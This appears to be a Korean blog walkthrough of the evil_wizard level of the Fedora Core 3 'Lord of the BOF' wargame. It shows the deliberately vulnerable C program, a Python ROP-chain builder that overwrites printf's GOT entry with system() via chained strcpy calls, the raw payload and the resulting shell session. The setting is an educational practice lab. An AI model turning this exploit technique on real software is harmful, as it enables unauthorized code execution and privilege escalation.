문제의 소스입니다.

[hell_fire@Fedora_1stFloor tmp]$ cat ../evil_wizard.c
/*
The Lord of the BOF : The Fellowship of the BOF 
- evil_wizard
- Local BOF on Fedora Core 3 
- hint : GOT overwriting
*/

// magic potion for you
void pop_pop_ret(void)
{
asm("pop %eax");
asm("pop %eax");
asm("ret");
}
 
int main(int argc, char *argv[])
{
char buffer[256];
char saved_sfp[4];
int length; 

if(argc < 2){
printf("argv error\n");
exit(0);
}

// for disturbance RET sleding
length = strlen(argv[1]);
   
        // healing potion for you
        setreuid(geteuid(), geteuid());
        setregid(getegid(), getegid());

// save sfp 
memcpy(saved_sfp, buffer+264, 4);
 
// overflow!!
strcpy(buffer, argv[1]);

// restore sfp 
memcpy(buffer+264, saved_sfp, 4);

        // disturbance RET sleding
        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));

printf("%s\n", buffer);
}

여기서 살펴보아야 할 것을 꼽하보자면
 - sfp를 복구해주고있음
 - RET sleding을 방지하기 위해서 내가 입력해준 부분을 제외한 스택의 모든 부분을 0으로 초기화 하고있음.

Fedora Core 3에는 바이너리 내에 chaining rtl을 하는데 중요한 pop pop ret이 없기 때문에 inline assembly를 이용해서 임의로 넣어줬습니다.

힌트에는 GOT Overwrite를 이용하라고 했으니 strcpy@plt를 이용해서 덮어 씌워보겠습니다.
저는 printf의 GOT를 system함수의 주소로 덮어씌워보려고합니다.

페이로드를 짜보자면
[buffer + dummy (268bytes)] [strcpy@plt][pop;pop;ret][printf@got][first_garget][strcpy@plt][pop;pop;ret][printf@got+1][second_garget][strcpy@plt][pop;pop;ret][printf@got+2][third_garget][strcpy@plt][pop;pop;ret][printf@got+3][fourth_garget][printf@plt][dummy(4bytes)][/bin/sh]

printf의 GOT (총 4bytes)를 1byte씩 system함수의 주소로 덮었습니다.

그리고 pop;pop;ret 에 대해서 간단하게 설명하자면, 

첫번째 pop이 진행되면 esp가 4바이트가 증가하면서 esp가 첫번째 인자를 가리키게 되고 
두번째 pop이 진행되면 또 esp가 4바이트가 증가하면서 esp가 두번째 인자를 가리키게 됩니다.

세번째 ret은 pop %eip(물론 이런 명령어는 존재하지않습니다)와 같은 역할을 합니다. esp가 4바이트 증가한 후에, esp는 두번째 함수를 가리키고 있을 때, esp가 가리키고 있는 데이터를 eip에 집어넣습니다. 
그러고나서 다음 자리에 있는 pop;pop;ret을 가리키게 됩니다.


제가 쓴 소스입니다.
#!/usr/bin/python
from struct import pack
import os

printf_plt = 0x08048424
printf_got = 0x08049884 #0x08049884 , 0x08048429
strcpy_plt = 0x08048494

#garget = system_addr
first_garget_byte = 0x08048524+8 # 0x90
second_garget_byte = 0x08048148+12 # 0x54
third_garget_byte = 0x080486f4+6 # 0x7d
fourth_garget_byte = 0x08048149 # 0x00

ppr = 0x0804854f # pop;pop;ret
shell = 0x00833603 # "/bin/sh"

p = lambda x : pack("<L",x)

payload = ""
payload += "\x90"*268
payload += p(strcpy_plt) + p(ppr) + p(printf_got) + p(first_garget_byte)
payload += p(strcpy_plt) + p(ppr) + p(printf_got+1) + p(second_garget_byte)
payload += p(strcpy_plt) + p(ppr) + p(printf_got+2) + p(third_garget_byte)
payload += p(strcpy_plt) + p(ppr) + p(printf_got+3) + p(fourth_garget_byte)
payload += p(printf_plt) + "\x90"*4 + p(shell)

===================================================================

[hell_fire@Fedora_1stFloor ~]$ ./evil_wizard `python -c "print '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x94\x84\x04\x08O\x85\x04\x08\x84\x98\x04\x08,
\x85\x04\x08\x94\x84\x04\x08O\x85\x04\x08\x85\x98\x04
\x08T\x81\x04\x08\x94\x84\x04\x08O\x85\x04\x08\x86\x98
\x04\x08\xfa\x86\x04\x08\x94\x84\x04\x08O\x85\x04\x08
\x87\x98\x04\x08I\x81\x04\x08$\x84\x04\x08\x90\x90\x90\x90\x036\x83\x00'"`
?????????????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????????????????
??????????????????????????????????????????????0萃??O???,???O???T???O??????O???I?$????? 6?
sh-3.00$ id
uid=504(evil_wizard) gid=504(evil_wizard) groups=503(hell_fire) context=user_u:system_r:unconfined_t
sh-3.00$ my-pass
euid = 504
get down like that
sh-3.00$ 


'Wargame > LOB (Fedora3)' 카테고리의 다른 글

evil_wizard ->dark_stone  (0) 2014.02.24
dark_eyes -> hell_fire  (1) 2014.02.20
iron_golem -> dark_eyes  (0) 2014.02.20
gate -> iron_golem  (0) 2014.02.20
Posted by windowhan
,